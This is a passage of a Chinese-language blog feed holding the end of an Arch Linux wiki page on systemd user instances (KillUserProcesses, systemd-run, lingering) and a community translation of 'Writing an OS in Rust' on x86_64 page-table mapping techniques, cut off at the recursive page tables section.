&lt;p&gt;Arch Linux 用 &lt;code&gt;--without-kill-user-processes&lt;&#x2F;code&gt; 参数编译了 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archlinux.org&#x2F;packages&#x2F;?name=systemd&quot;&gt;systemd&lt;&#x2F;a&gt;^包^ 包，默认下 &lt;code&gt;KillUserProcesses&lt;&#x2F;code&gt; 是 &lt;code&gt;no&lt;&#x2F;code&gt;。这一设置导致了在用户注销后，用户进程不会结束。要改变这一行为，在用户注销后结束所有用户进程，请在 &lt;code&gt;&#x2F;etc&#x2F;systemd&#x2F;logind.conf&lt;&#x2F;code&gt; 中设置 &lt;code&gt;KillUserProcesses=yes&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;注意，修改这一设置会破坏终端复用器，如 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Tmux&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Tmux&quot;&gt;tmux&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;GNU Screen&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;GNU_Screen&quot;&gt;GNU Screen&lt;&#x2F;a&gt;。修改设置后仍想使用终端复用器，需按下列方法使用 &lt;code&gt;systemd-run&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ systemd-run --scope --user command args
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;比如要运行 &lt;code&gt;screen&lt;&#x2F;code&gt; 可以这样：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ systemd-run --scope --user screen -S foo
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;只有在用户在某处登录过系统至少一次，且 &lt;code&gt;user@.service&lt;&#x2F;code&gt; 仍在运行的情况下，使用 &lt;code&gt;systemd-run&lt;&#x2F;code&gt; 可以保持进程在用户注销后继续运行。&lt;&#x2F;p&gt;
&lt;p&gt;用户注销所有会话后，默认 &lt;code&gt;user@.service&lt;&#x2F;code&gt; 也会终止，除非用户启用了 &quot;lingering&quot; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;systemd&#x2F;systemd&#x2F;blob&#x2F;76153ad45f09b6ae45464f2e03d3afefbb4b2afe&#x2F;NEWS#L274&quot;&gt;[7]&lt;&#x2F;a&gt; 。为了让用户在注销后也能运行长期任务，需要为他们启用 lingering。详情参阅 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd&#x2F;%E7%94%A8%E6%88%B7#%E9%9A%8F%E7%B3%BB%E7%BB%9F%E8%87%AA%E5%8A%A8%E5%90%AF%E5%8A%A8_systemd_%E7%94%A8%E6%88%B7%E5%AE%9E%E4%BE%8B&quot;&gt;#随系统自动启动 systemd 用户实例&lt;&#x2F;a&gt;和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;loginctl.1&quot;&gt;loginctl(1)&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-nan-jie-da&quot;&gt;疑难解答&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;runtime-directory-run-user-1000-is-not-owned-by-uid-1000-as-it-should&quot;&gt;Runtime directory &#x27;&#x2F;run&#x2F;user&#x2F;1000&#x27; is not owned by UID 1000, as it should&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;systemd[1867]: pam_systemd(systemd-user:session): Runtime directory &amp;#x27;&amp;#x2F;run&amp;#x2F;user&amp;#x2F;1000&amp;#x27; is not owned by UID 1000, as it should.
systemd[1867]: Trying to run as user instance, but $XDG_RUNTIME_DIR is not set
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果你看到类似错误且无法登录会话，有可能是另一个系统级（非用户级）的服务正在创建该目录。例如正在使用的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Docker&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Docker&quot;&gt;docker&lt;&#x2F;a&gt; 容器挂载了 &lt;code&gt;&#x2F;run&#x2F;user&#x2F;1000&lt;&#x2F;code&gt;。可以修改容器取消挂载，或禁用、延迟启动 docker 服务来修复此问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-yue&quot;&gt;参阅&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bitbucket.org&#x2F;KaiSforza&#x2F;systemd-user-units&#x2F;wiki&#x2F;Home&quot;&gt;KaiSforza&#x27;s Bitbucket wiki&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;zoqaeski&#x2F;systemd-user-units&quot;&gt;Zoqaeski&#x27;s units on GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bbs.archlinux.org&#x2F;viewtopic.php?id=167115&quot;&gt;Arch forum thread about changes in systemd 206 user instances&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Special:页面分类&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Special:%E9%A1%B5%E9%9D%A2%E5%88%86%E7%B1%BB&quot;&gt;分类&lt;&#x2F;a&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Category:系统管理&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Category:%E7%B3%BB%E7%BB%9F%E7%AE%A1%E7%90%86&quot;&gt;系统管理&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Writing an OS in Rust</title>
        <published>2025-04-08T00:00:00+00:00</published>
        <updated>2025-04-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/writing-an-os-in-rust/"/>
        <id>https://vercel.juzhong.asia/obsidian/writing-an-os-in-rust/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/writing-an-os-in-rust/">&lt;h2 id=&quot;writing-an-os-in-rust&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Home&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;&quot;&gt;Writing an OS in Rust&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Philipp Oppermann&#x27;s blog&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fen-ye-shi-xian&quot;&gt;分页实现&lt;&#x2F;h2&gt;
&lt;p&gt;Mar 14, 2019&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;翻译内容：&lt;&#x2F;strong&gt; 这是对原文章**&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;paging-implementation&#x2F;&quot;&gt;Paging Implementation&lt;&#x2F;a&gt;** 的社区中文翻译。它可能不完整，过时或者包含错误。可以在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;phil-opp&#x2F;blog_os&#x2F;issues&#x2F;961&quot;&gt;这个 Issue&lt;&#x2F;a&gt; 上评论和提问！&lt;&#x2F;p&gt;
&lt;p&gt;翻译者： &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;weijiew&quot;&gt;@weijiew&lt;&#x2F;a&gt;.With contributions from &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;liuyuran&quot;&gt;@liuyuran&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;这篇文章展示了如何在我们的内核中实现分页支持。它首先探讨了使物理页表帧能够被内核访问的不同技术，并讨论了它们各自的优点和缺点。然后，它实现了一个地址转换功能和一个创建新映射的功能。&lt;&#x2F;p&gt;
&lt;p&gt;这个系列的 blog 在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;phil-opp&#x2F;blog_os&quot;&gt;GitHub&lt;&#x2F;a&gt;上开放开发，如果你有任何问题，请在这里开一个 issue 来讨论。当然你也可以在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#comments&quot;&gt;底部&lt;&#x2F;a&gt;留言。你可以在&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;post-09&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;找到这篇文章的完整源码。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;目录&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#jie-shao&quot;&gt;介绍&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#fang-wen-ye-biao&quot;&gt;访问页表&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#zhi-jie-ying-she&quot;&gt;直接映射&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#ying-she-yi-ge-gu-ding-de-pian-yi&quot;&gt;映射一个固定的偏移&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#ying-she-wan-zheng-de-wu-li-nei-cun&quot;&gt;映射完整的物理内存&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#lin-shi-ying-she&quot;&gt;临时映射&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#di-gui-ye-biao&quot;&gt;递归页表&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#zhi-chi-yin-dao-qi&quot;&gt;支持引导器&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#qi-dong-xin-xi&quot;&gt;启动信息&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#entry-point-hong&quot;&gt;entry_point 宏&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#shi-xian&quot;&gt;实现&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#fang-wen-ye-biao-1&quot;&gt;访问页表&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#fan-yi-di-zhi&quot;&gt;翻译地址&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#shi-yong-offsetpagetable&quot;&gt;使用 OffsetPageTable&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#chuang-jian-yi-ge-xin-de-ying-she&quot;&gt;创建一个新的映射&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#fen-pei-ye-kuang&quot;&gt;分配页框&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#zong-jie&quot;&gt;总结&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#xia-pian-wen-zhang-shi-shen-me&quot;&gt;下篇文章是什么？&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#comments&quot;&gt;评论&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;link-jie-shao&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#jie-shao&quot;&gt;🔗&lt;&#x2F;a&gt;介绍&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;paging-introduction&#x2F;&quot;&gt;前文&lt;&#x2F;a&gt;已经对分页的概念做了介绍。通过比较分页和分段来证明分页的优势，然后解释了分页和页表如何工作，最后介绍了&lt;code&gt;x86_64&lt;&#x2F;code&gt;的4级页表设计。此时 bootloader 已经为内核建立了一个页表层次结构，这意味着内核已经在虚拟地址上运行。这样做提高了安全性，因为非法的内存访问会导致页面故障异常，而不是修改任意的物理内存。&lt;&#x2F;p&gt;
&lt;p&gt;这篇文章最后说，我们&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;paging-introduction&#x2F;#accessing-the-page-tables&quot;&gt;不能从内核中访问页表&lt;&#x2F;a&gt;，因为它们存储在物理内存中，而内核已经在虚拟地址上运行。&lt;&#x2F;p&gt;
&lt;p&gt;这篇文章探讨了使页表框能够被内核访问的不同方法。接下来将讨论每种方法的优点和缺点，最后决定内核采用哪种方法。&lt;&#x2F;p&gt;
&lt;p&gt;为了实现这个方法，我们需要 bootloader 的支持，所以首先要配置它。之后将实现一个遍历页表层次结构的函数，以便将虚拟地址转换为物理地址。最后，我们学习如何在页表中创建新的映射，以及如何为创建新的页表找到未使用的内存框。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;link-fang-wen-ye-biao&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#fang-wen-ye-biao&quot;&gt;🔗&lt;&#x2F;a&gt;访问页表&lt;&#x2F;h2&gt;
&lt;p&gt;从内核中访问页表并不像它看起来那么容易。为了理解这个问题，让我们再看一下上一篇文章中的4级页表层次结构的例子。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;x86-64-page-table-translation.svg&quot; alt=&quot;一个4级页层次结构的例子，每个页表都显示在物理内存中&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里重要的是，每个页面条目都存储了下一个表的 &lt;em&gt;物理&lt;&#x2F;em&gt; 地址。这就避免了对这些地址也要进行翻译，这对性能不利，而且容易造成无休止的翻译循环。&lt;&#x2F;p&gt;
&lt;p&gt;此时的问题是，内核无法直接访问物理地址，因为内核也是在虚拟地址之上运行的。例如，当访问地址&lt;code&gt;4 KiB&lt;&#x2F;code&gt;时，访问的是 &lt;em&gt;虚拟&lt;&#x2F;em&gt; 地址&lt;code&gt;4 KiB&lt;&#x2F;code&gt;，而不是存储4级页表的 &lt;em&gt;物理&lt;&#x2F;em&gt; 地址&lt;code&gt;4 KiB&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;因此，为了访问页表框架，我们需要将一些虚拟页面映射到它们。有不同的方法来创建这些映射，这些映射都允许我们访问任意的页表框架。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;link-zhi-jie-ying-she&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#zhi-jie-ying-she&quot;&gt;🔗&lt;&#x2F;a&gt;直接映射&lt;&#x2F;h3&gt;
&lt;p&gt;一个简单的解决方案是&lt;strong&gt;所有页表的身份映射&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;identity-mapped-page-tables.svg&quot; alt=&quot;一个虚拟和一个物理地址空间，各种虚拟页以相同的地址映射到物理帧上&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在这个例子中，我们看到各种直接映射的页表框架。页表的物理地址也是有效的虚拟地址，这样我们就可以很容易地访问从CR3寄存器开始的各级页表。&lt;&#x2F;p&gt;
&lt;p&gt;然而，它使虚拟地址空间变得杂乱无章，并使寻找较大尺寸的连续内存区域更加困难。例如，想象一下，我们想在上述图形中创建一个大小为1000 KiB的虚拟内存区域，例如： &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Memory-mapped_file&quot;&gt;memory-mapping a file&lt;&#x2F;a&gt;。我们不能在&lt;code&gt;28 KiB&lt;&#x2F;code&gt;处开始区域，因为它将与&lt;code&gt;1004 KiB&lt;&#x2F;code&gt;处已经映射的页面相撞。所以我们必须进一步寻找，直到找到一个足够大的未映射区域，例如在&lt;code&gt;1008 KiB&lt;&#x2F;code&gt;。这是一个类似于&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;paging-introduction&#x2F;#fragmentation&quot;&gt;segmentation&lt;&#x2F;a&gt;的碎片化问题。&lt;&#x2F;p&gt;
&lt;p&gt;同样，这也使得创建新的页表更加困难，因为我们需要找到对应的页还没有被使用的物理框。例如，让我们假设我们为我们的内存映射文件保留了 &lt;em&gt;虚拟&lt;&#x2F;em&gt; 1000 KiB内存区域，从&lt;code&gt;1008 KiB&lt;&#x2F;code&gt;开始。现在我们不能再使用任何物理地址在&lt;code&gt;1000 KiB&lt;&#x2F;code&gt;和&lt;code&gt;2008 KiB&lt;&#x2F;code&gt;之间的帧，因为我们不能对它进行 identity map 。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;link-ying-she-yi-ge-gu-ding-de-pian-yi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#ying-she-yi-ge-gu-ding-de-pian-yi&quot;&gt;🔗&lt;&#x2F;a&gt;映射一个固定的偏移&lt;&#x2F;h3&gt;
&lt;p&gt;为了避免虚拟地址空间的杂乱问题，我们可以&lt;strong&gt;使用一个单独的内存区域来进行页表映射&lt;&#x2F;strong&gt;。因此，我们不是以直接映射页表帧，而是以虚拟地址空间中的固定偏移量来映射它们。例如，偏移量可以是10 TiB。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;page-tables-mapped-at-offset.svg&quot; alt=&quot;与直接映射的数字相同，但每个映射的虚拟页偏移了10TiB。&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;通过使用范围为&lt;code&gt;10 TiB...（10 TiB + 物理内存大小）&lt;&#x2F;code&gt;的虚拟内存专门用于页表映射，避免了直接映射的碰撞问题。只有当虚拟地址空间比物理内存大小大得多时，保留如此大的虚拟地址空间区域才有可能。这在x86_64上不是一个问题，因为48位的地址空间有256 TiB大。&lt;&#x2F;p&gt;
&lt;p&gt;这种方法仍然有一个缺点，即每当我们创建一个新的页表时，我们都需要创建一个新的映射。另外，它不允许访问其他地址空间的页表，这在创建新进程时是很有用的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;link-ying-she-wan-zheng-de-wu-li-nei-cun&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#ying-she-wan-zheng-de-wu-li-nei-cun&quot;&gt;🔗&lt;&#x2F;a&gt;映射完整的物理内存&lt;&#x2F;h3&gt;
&lt;p&gt;我们可以通过&lt;strong&gt;映射完整的物理内存&lt;&#x2F;strong&gt;来解决这些问题，而不是只映射页表框架。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;map-complete-physical-memory.svg&quot; alt=&quot;与偏移量映射的数字相同，但每个物理帧都有一个映射（在10 TiB + X），而不是只有页表帧。&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这种方法允许我们的内核访问任意的物理内存，包括其他地址空间的页表框架。保留的虚拟内存范围的大小与以前一样，不同的是它不再包含未映射的页面。&lt;&#x2F;p&gt;
&lt;p&gt;这种方法的缺点是，需要额外的页表来存储物理内存的映射。这些页表需要存储在某个地方，所以它们会占用一部分物理内存，这在内存较小的设备上可能是个问题。&lt;&#x2F;p&gt;
&lt;p&gt;然而，在x86_64上，我们可以使用大小为2 MiB的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Page_%28computer_memory%29#Multiple_page_sizes&quot;&gt;巨大页面&lt;&#x2F;a&gt;进行映射，而不是默认的4 KiB页面。这样，映射32 GiB的物理内存只需要132 KiB的页表，因为只需要一个3级表和32个2级表。巨大页面也是更有效的缓存，因为它们在转换查找缓冲器（TLB）中使用的条目更少。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;link-lin-shi-ying-she&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#lin-shi-ying-she&quot;&gt;🔗&lt;&#x2F;a&gt;临时映射&lt;&#x2F;h3&gt;
&lt;p&gt;对于物理内存数量非常少的设备，我们可以在需要访问页表帧时，只对其进行&lt;strong&gt;临时映射页表&lt;&#x2F;strong&gt;。为了能够创建临时映射，我们只需要一个 identity-mapped  的1级表。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;temporarily-mapped-page-tables.svg&quot; alt=&quot;一个虚拟和一个物理地址空间，有一个 identity-mapped  的1级表，该表将其第0个条目映射到2级表帧，从而将该帧映射到地址为0的页面上&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;该图中的第1级表控制着虚拟地址空间的前2 MiB。这是因为它可以通过从CR3寄存器开始，按照第4级、第3级和第2级页面表中的第0个条目到达。索引为&lt;code&gt;8&lt;&#x2F;code&gt;的条目将地址为&lt;code&gt;32 KiB&lt;&#x2F;code&gt;的虚拟页映射到地址为&lt;code&gt;32 KiB&lt;&#x2F;code&gt;的物理帧，从而对1级表本身进行身份映射。图形显示了这种 identity-mapping ，在 “32 KiB “处有一个水平箭头。&lt;&#x2F;p&gt;
&lt;p&gt;通过写到 identity-mapped 的1级表，我们的内核可以创建多达511个临时映射（512减去直接映射需要的条目）。在上面的例子中，内核创建了两个临时映射。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;通过将第1级表的第0条映射到地址为&lt;code&gt;24 KiB&lt;&#x2F;code&gt;的帧，它创建了一个&lt;code&gt;0 KiB&lt;&#x2F;code&gt;的虚拟页到第2级页表的物理帧的临时映射，虚线箭头所示。&lt;&#x2F;li&gt;
&lt;li&gt;通过将第1级表的第9条映射到地址为&lt;code&gt;4 KiB&lt;&#x2F;code&gt;的帧，它创建了一个&lt;code&gt;36 KiB&lt;&#x2F;code&gt;的虚拟页与第4级页表的物理帧的临时映射，虚线箭头所示。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;现在内核可以通过写到&lt;code&gt;0KiB&lt;&#x2F;code&gt;页来访问2级页表，通过写到&lt;code&gt;36KiB&lt;&#x2F;code&gt;页来访问4级页表。&lt;&#x2F;p&gt;
&lt;p&gt;访问具有临时映射的任意页表框架的过程是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在身份映射的第1级表中搜索一个自由条目。&lt;&#x2F;li&gt;
&lt;li&gt;将该条目映射到我们想要访问的页表的物理帧。&lt;&#x2F;li&gt;
&lt;li&gt;通过映射到该条目的虚拟页面访问目标框中。&lt;&#x2F;li&gt;
&lt;li&gt;将该条目设置为未使用，从而再次删除临时映射。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这种方法重复使用相同的512个虚拟页来创建映射，因此只需要4 KiB的物理内存。缺点是有点麻烦，尤其是一个新的映射可能需要对多个表层进行修改，这意味着我们需要多次重复上述过程。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;link-di-gui-ye-biao&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#di-gui-ye-biao&quot;&gt;🔗&lt;&#x2F;a&gt;递归页表&lt;&#x2F;h3&gt;
